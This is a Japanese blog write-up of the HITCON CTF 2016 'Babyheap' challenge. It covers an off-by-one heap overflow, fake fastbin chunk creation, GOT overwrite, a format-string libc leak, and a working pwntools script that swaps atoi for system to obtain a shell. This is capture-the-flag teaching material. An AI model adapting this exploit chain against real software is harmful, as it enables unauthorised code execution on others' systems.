ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

HITCON CTF 2016 Quals Babyheap

今回の問題はx64-ELFでxinetd型であった。glibc mallocが使われている問題であるため、glibc mallocの動きを把握するのにはとても良い問題であった。ではさっそく問題を見ていこう。

kit@ubuntu:~/work/babyheap$ checksec --file babyheap 
[*] '/home/kit/work/babyheap/babyheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
    FORTIFY:  Enabled
kit@ubuntu:~/work/babyheap$ 

kit@ubuntu:~/work/babyheap$ ./babyheap 
#########################
        Baby Heap        
#########################
 1 . New                 
 2 . Delete              
 3 . Edit                
 4 . Exit                
#########################
Your choice:1
Size :16
Content:aaaaa
Name:bbbb
Done!
#########################
        Baby Heap        
#########################
 1 . New                 
 2 . Delete              
 3 . Edit                
 4 . Exit                
#########################
Your choice:4
Really? (Y/n)n
#########################
        Baby Heap        
#########################
 1 . New                 
 2 . Delete              
 3 . Edit                
 4 . Exit                
#########################
Your choice:

少し動かしてみたが、以下のようなことが分かった。

  • EditとDeleteはそれぞれ一回ずつしかできない。

  • ExitはYを入力しない限り終了しない。

どうやら、この制約された状況でバグを見つけるみたいだった。バグを見つけるためにまずは入力できるような部分から見ていく。mallocされるものは全部で二つあり、以下のような構造体の攻勢になっている。

struct Data{
    size_t size;
    char name[8];
    char *content;
}

そして、nameとcontentを入力する関数でoff-by-one errorのバグがあった。配列では添え字は0からスタートするため、一番最後の配列の添え字はsize - 1になっている。しかし、今回NULLを挿入するときに、配列の添え字にsizeを挿入しているため、実際はsize+1にNULLを挿入してしまい、1byte分上書きできるバグである。以下がその部分である

mov     [rbp+buf], rdi
mov     [rbp+size], esi
mov     eax, [rbp+size]
movsxd  rdx, eax        ; nbytes
mov     rax, [rbp+buf]
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read
mov     [rbp+read_size], eax
cmp     [rbp+read_size], 0
jg      short add_null
add_null:
mov     eax, [rbp+read_size]
movsxd  rdx, eax
mov     rax, [rbp+buf]
add     rax, rdx
mov     byte ptr [rax], 0 ; bufの一番最後に挿入
nop
leave
retn

このバグを使えば、contentのポインタが変わるぞ!ということでnameから溢れさせてみたのが以下の様子である。
f:id:shimasyaro:20170603142856p:plain
contentのポインタが0x603030から0x603000に上書きされているのがわかる。しかし、この状態でfreeを行ってしまうと0x603000から-0x8byte先であるmalloc chunkのmeta dataであるSizeがないため、SEGVを起こして死ぬ。
どうすればいいんだよぉっていう状態になったため、write upを見ることにした。以下は参考にしたwrite upです。ありがとうございました!
shift-crops.hatenablog.com
wirte upによると16.04の環境ではheap領域にbufferingされるみたいです。マジかよ知らなかったわとツイートしたら、プロから以下のようなご意見をいただきました。助かりました!ありがとうございます
f:id:shimasyaro:20170604093156p:plain
どうやら、この問題が出された時も「16.04で動かしてね!」という旨を書かれていたらしいです。そのため、今回は試すのであれば16.04で動かしてください。
さて、Newを実行する前にSizeを-8byte先に置いておかなければならないが、どこで確保すればいいのだろうということだが、Exitの部分でY/nを入力するようなところがある。ここを規定以上の入力を行い、Heap領域にbufferingさせ、-8byte先に偽のSizeを置く。以下はbuffering前と後の様子である
f:id:shimasyaro:20170603150659p:plain
f:id:shimasyaro:20170603151013p:plain
bufferingさせる前は、0x00624000であったが、buffering後は0x00625000まで伸びている。実質0x1000をbufferingしてしまったが、これ以上短くはできなかったため、仕方なく、0x1000近く送って-8byteさきに偽のSizeを置いた。以下はその後Newを行いnameを溢れさせ、contentの下位1byteを上書きした様子である。
わかりやすくするために、色分けを行った。青枠は今回free listにつなげようとしている偽Chunk、赤枠は構造体のchunkである。
f:id:shimasyaro:20170603160801p:plain
f:id:shimasyaro:20170603160814p:plain
赤枠の構造体のcontentポインタが0x604040から0x604000にoff-by-one errorで書き換わっている。そして、0x604000から-8byteしたところに偽のSizeである0x50が入っている。0x50にした理由がこれ以下のサイズにしてしまうと赤枠の構造体と被ってしまうため、0x50にした。
ここの0x50をfree listにつなげて、contentのsizeをうまく確保すると構造体の中身を自由に書き換えることができる。 被るというのは、x64の環境ではfreeされたものは、いったんfastbinsやunsorted chunksにつながれた後、binsに繋がれる。このとき、binsは配列になっており、添え字が1増えるたび0x10ずつ大きくなっていく。このとき、binsの最小サイズは0x18である。
ここまでのお話よくわかんねぇ。というお方は以下の資料をご参照ください。資料はx86ですが、x64は単純に2倍しただけですので問題ないかと思います
speakerdeck.com

つまり、0x50より小さいbinsサイズはと0x40であるため、構造体と被ってしまうため、被らない最小の0x50にした。
よし、これで、freeすれば問題なし!と思うが、実は青枠で囲み終わって次のアドレスに格納されている0x18がなければ以下のようなエラーでSEGVをおこす。以下はfreeでエラーを起こしてSEGVになった後にback traceした様子である。

#0  0x00007ffff7a43428 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:54
#1  0x00007ffff7a4502a in __GI_abort () at abort.c:89
#2  0x00007ffff7a857ea in __libc_message (do_abort=do_abort@entry=0x2, fmt=fmt@entry=0x7ffff7b9e2e0 "*** Error in `%s': %s: 0x%s ***\n")
    at ../sysdeps/posix/libc_fatal.c:175
#3  0x00007ffff7a8de0a in malloc_printerr (ar_ptr=<optimized out>, ptr=<optimized out>, str=0x7ffff7b9e358 "free(): invalid next size (fast)", 
    action=0x3) at malloc.c:5004
#4  _int_free (av=<optimized out>, p=<optimized out>, have_lock=0x0) at malloc.c:3865
#5  0x00007ffff7a9198c in __GI___libc_free (mem=<optimized out>) at malloc.c:2966
#6  0x0000000000400b35 in ?? ()
#7  0x0000000000400d0c in ?? ()
#8  0x00007ffff7a2e830 in __libc_start_main (main=0x400c9e, argc=0x1, argv=0x7fffffffdd98, init=<optimized out>, fini=<optimized out>, 
    rtld_fini=<optimized out>, stack_end=0x7fffffffdd88) at ../csu/libc-start.c:291
#9  0x0000000000400849 in ?? ()

3に書かれているエラー内容で"free(): invalid next size (fast)“と書かれているものが原因でSEGVを起こしたのである。このエラーはつぎのChunkのSizeにエラーがあるということである。
今回のケースに当てはめてみると0x50先であるnext chunkのSizeが不正であったら、エラーを起こすというものである。今回のケースでエラーを起こすのは分かっただけでも二つある。

  • bins(fastbins)の大きさと一致しない。

  • previn_use flagは特に必要ない。

詳細はソースを見るべきであるが、辛い思いをしてもよくわからなかった(絶望的にまで頭悪い)ので、確証が持てるもの以外は載せない。「glibc malloc余裕ww」というプロはぜひ知見を共有してくださいお願いします。
一応、該当しそうだなという場所は載せておきます。ソースは、glibc-2.23のmalloc.cです。また、参考になった資料も載せておきます。

3911            if (have_lock
3912               || ({ assert (locked == 0);
3913                     __libc_lock_lock (av->mutex);
3914                     locked = 1;
3915                     chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
3916                       || chunksize (chunk_at_offset (p, size)) >= av->system_mem;
3917                 }))
3918             {
3919               errstr = "free(): invalid next size (fast)";
3920               goto errout;
3921             }

github.com

さて、next chunkのサイズはどう入力するかだが、contentを入力するときにSizeを入れれば問題ない。今回の場合はpaddingとして8byte(ちょうどdeadbeefのところ)入れている。
この状態でDelete(free)を行うと以下のようにbinsにつながる。(一応fastbinsも載せる)
f:id:shimasyaro:20170603165909p:plain
f:id:shimasyaro:20170603165933p:plain
binsには、0x20の配列に構造体であった0x604010、0x50の配列に偽のchunkであるものがつながっている。ここの0x50にcontentのsizeを確保するようにする。meta dataのSize分の大きさを引いて0x48byteをNewでSizeとして確保する。以下は、新しく確保して、contentで構造体の中身を書き換えた様子である。
f:id:shimasyaro:20170603192205p:plain
contentのポインタを任意のアドレスにすることによって、そのアドレス先にNewで最初contentに書き込むとき、Editを選んだ時書き込むことができる。今回はNewの時点でGOTアドレス(.got.pltアドレス)を設定している。また、以下の手順でsystemの書き換えを行う。

  1. Newの時点でexit.got.pltのアドレスを設定する。

  2. EditでGOT Overwriteを行う。(exitをret, atoiをprintfにする)

  3. menuの入力でprintfに書き換えたatoiで意図的にFSBを作ってlibcをleakする。

  4. EditでatoiをsystemにGOT Overwriteする。

  5. menuの入力で/bin/shを入力してshellを起動

最初に、1の部分であるが、ここは2回Editを行えるようにするため、exitでプロセスが強制終了しないようにするものである。
これは第一引数にセットするためのROPがうまく見つからなかったための対策である。(どうやら本番環境のlibcではなかった模様)それにならって今回も同じ方法でやっていく
次に2の部分であるが、これは、exitからatoiまで一気に書き換える。プロセスが始まった瞬間の.got.pltがどうなっているか見てみよう。以下は、.got.pltの様子である。
f:id:shimasyaro:20170604083224p:plain
.got.pltは一度使われるとアドレス解決が行われ、libcの実態に書き換わる。そして、2回目以降からは直接、実体があるlibcアドレスに直接飛ぶようになる。書き換えを行うとき、もう一度使う予定がある関数は.plt+6のアドレスに書き換えれば、再びアドレス解決をし、実体が保存される。それを考慮しながら、exploitコードを書くと以下のようになる。
f:id:shimasyaro:20170604084121p:plain
書き換えを行う、exitとatoi以外は再びアドレス解決行うようにした。
次に、3であるが、これはmenuの入力は部分はatoiを使ってint型に変換している。つまり、menuの入力がatoiの第一引数になるため、atoiをprintfに変えることで意図的にFSBを使ってアドレスをleakする。FSBを使って1番目から地道に調べていくとどうやら8番目にmenuの入力の部分にたどり着くので、9番目に任意のアドレスを設定して、libcをleakするこのとき、%sを使う。これはポインタ先をleakさせるために用いる。一応、1番目からの様子をいかに張り付けておく。

searchmem 0x7fffffffdc40 $rsp-0x1000 $rsp+0x1000
Searching for '0x7fffffffdc40' in range: 0x7fffffffcc30 - 0x7fffffffec30
Found 2 results, display max 2 items:
[stack] : 0x7fffffffd5b8 --> 0x7fffffffdc40 ("%6$p.%7$p.%8$p.%\005")
[stack] : 0x7fffffffdb78 --> 0x7fffffffdc40 ("%6$p.%7$p.%8$p.%\005")
 
1  0120| 0x7fffffffdb78 --> 0x7fffffffdc40 ("%6$p    \030 `")
2  0128| 0x7fffffffdb80 --> 0x10 
3  0136| 0x7fffffffdb88 --> 0x7ffff7b04680 (<__read_nocancel+7>:  cmp    rax,0xfffffffffffff001)
4  0144| 0x7fffffffdb90 --> 0x7ffff7fde700 (0x00007ffff7fde700)

5  0168| 0x7fffffffdba8 --> 0xcc0000ff00000000 

6  0304| 0x7fffffffdc30 --> 0x8 
7  0312| 0x7fffffffdc38 --> 0x7ffff7a7d7fa (<_IO_puts+362>:   cmp    eax,0xffffffff)
8  0320| 0x7fffffffdc40 ("%6$p    \030 `")
9  0328| 0x7fffffffdc48 --> 0x602018 --> 0x7ffff7a91940 (<__GI___libc_free>:   push   r13)

今回の.got.pltはGOT Overwriteの影響を受けていない、free関数を用いてleak行う。このときのexploitは以下のようになる。
f:id:shimasyaro:20170604090128p:plain
%sの後ろにwが4つ入っているがこれは9番目にアドレスを設定するためのpaddingである。
次に4であるが、Editを選択するときに、atoiがprintfに書き変わっているため、返り値で比較している部分を考慮しなければならない。printfの返り値は出力した文字数であるため、menuを選択するときは入力で3文字入力する必要がある。
このとき、あらかじめexploitコードで関数を作るときに3とスペース2つの合計3文字分にしておくと後々便利である。
あとはatoiをsystemに書き換えて、再びmenuに戻ってきたら/bin/shを与えてあげればshellが取れる。以下はexploitコードである。
コードべちょー

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log
elf = ELF('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

exit_got           = elf.got['_exit']             # _exit got address
read_chk_plt       = elf.plt['__read_chk']        # __read_chk
puts_plt           = elf.plt['puts']              # puts
printf_plt         = elf.plt['printf']            # printf
alarm_plt          = elf.plt['alarm']             # alarm
read_plt           = elf.plt['read']              # read
stack_chk_fail_plt = elf.plt['__stack_chk_fail']  # __stack_chk_fail
libc_start_plt     = elf.plt['__libc_start_main'] # __libc_start_main
signal_plt         = elf.plt['signal']            # signal
malloc_plt         = elf.plt['malloc']            # malloc
setvbuf_plt        = elf.plt['setvbuf']           # setvbuf
ret                = 0x00400711
free_offset        = libc.symbols['free']

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 1025
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./shadow')
        print "[+] connect to local\n"

def new(size, content, name):
    conn.recvuntil('Your choice:')
    conn.send('1')
    conn.recvuntil('Size :')
    conn.send(str(size))
    conn.recvuntil('Content:')
    conn.send(content)
    conn.recvuntil('Name:')
    conn.send(name)

def delete():
    conn.recvuntil('Your choice:')
    conn.send('2')

def edit(content):
    conn.recvuntil('Your choice:')
    conn.send('3  ')
    conn.recvuntil('Content:')
    conn.send(content)

def exit(data):
    conn.recvuntil('Your choice:')
    conn.send('4')
    conn.recvuntil('Really? (Y/n)')
    conn.send(data)

# buffering heap area and create fake chunk
buffering = ''
buffering += 'nn'
buffering += '\x00'*(0x1000-0x18-len(buffering))
buffering += p64(0x50)
exit(buffering)

# create chunk and create fake chunk
data = ''
data += p64(0xdeadbeef)
data += p64(0x18)
new(0x80, data, 'A'*8)
delete()

# GOT overwrite
got_ovr = ''
got_ovr += p64(ret)                    # _exit
got_ovr += p64(read_chk_plt+6)         # __read_chk
got_ovr += p64(puts_plt+6)             # puts
got_ovr += p64(stack_chk_fail_plt+6)   # __stack_chk_fail
got_ovr += p64(printf_plt+6)           # printf
got_ovr += p64(alarm_plt+6)            # alarm
got_ovr += p64(read_plt+6)             # read
got_ovr += p64(libc_start_plt+6)       # __libc_start_main
got_ovr += p64(signal_plt+6)           # signal
got_ovr += p64(malloc_plt+6)           # malloc
got_ovr += p64(setvbuf_plt+6)          # setvbuf
got_ovr += p64(printf_plt+6)           # atoi

# overwrite content address 
ovr_address = ''
ovr_address += p64(0) * 3
ovr_address += p64(0x21)            # malloc chunk size
ovr_address += p64(len(got_ovr))    # content size
ovr_address += p64(0xfeedface)      # name
ovr_address += p64(exit_got)        # content ptr

new(0x48, ovr_address, 'B'*7)
edit(got_ovr)

conn.recvuntil('Your choice:')
conn.send('%9$swwww' + p64(elf.got['free']))
libc_free = int(hex(u64(conn.recv(6) + '\x00\x00')),16)
print '[+] free address %18x' % libc_free
libc_base = libc_free - free_offset
print '[+] libc base address %18x' % libc_base
system = libc_base + libc.symbols['system']

# atoi to system
payload = ''
payload += got_ovr[:-8]
payload += p64(system)
edit(payload)

# start shell
conn.recvuntil('Your choice:')
conn.send('/bin/sh')

conn.interactive()

[総評] glibc malloc 良さみが深い。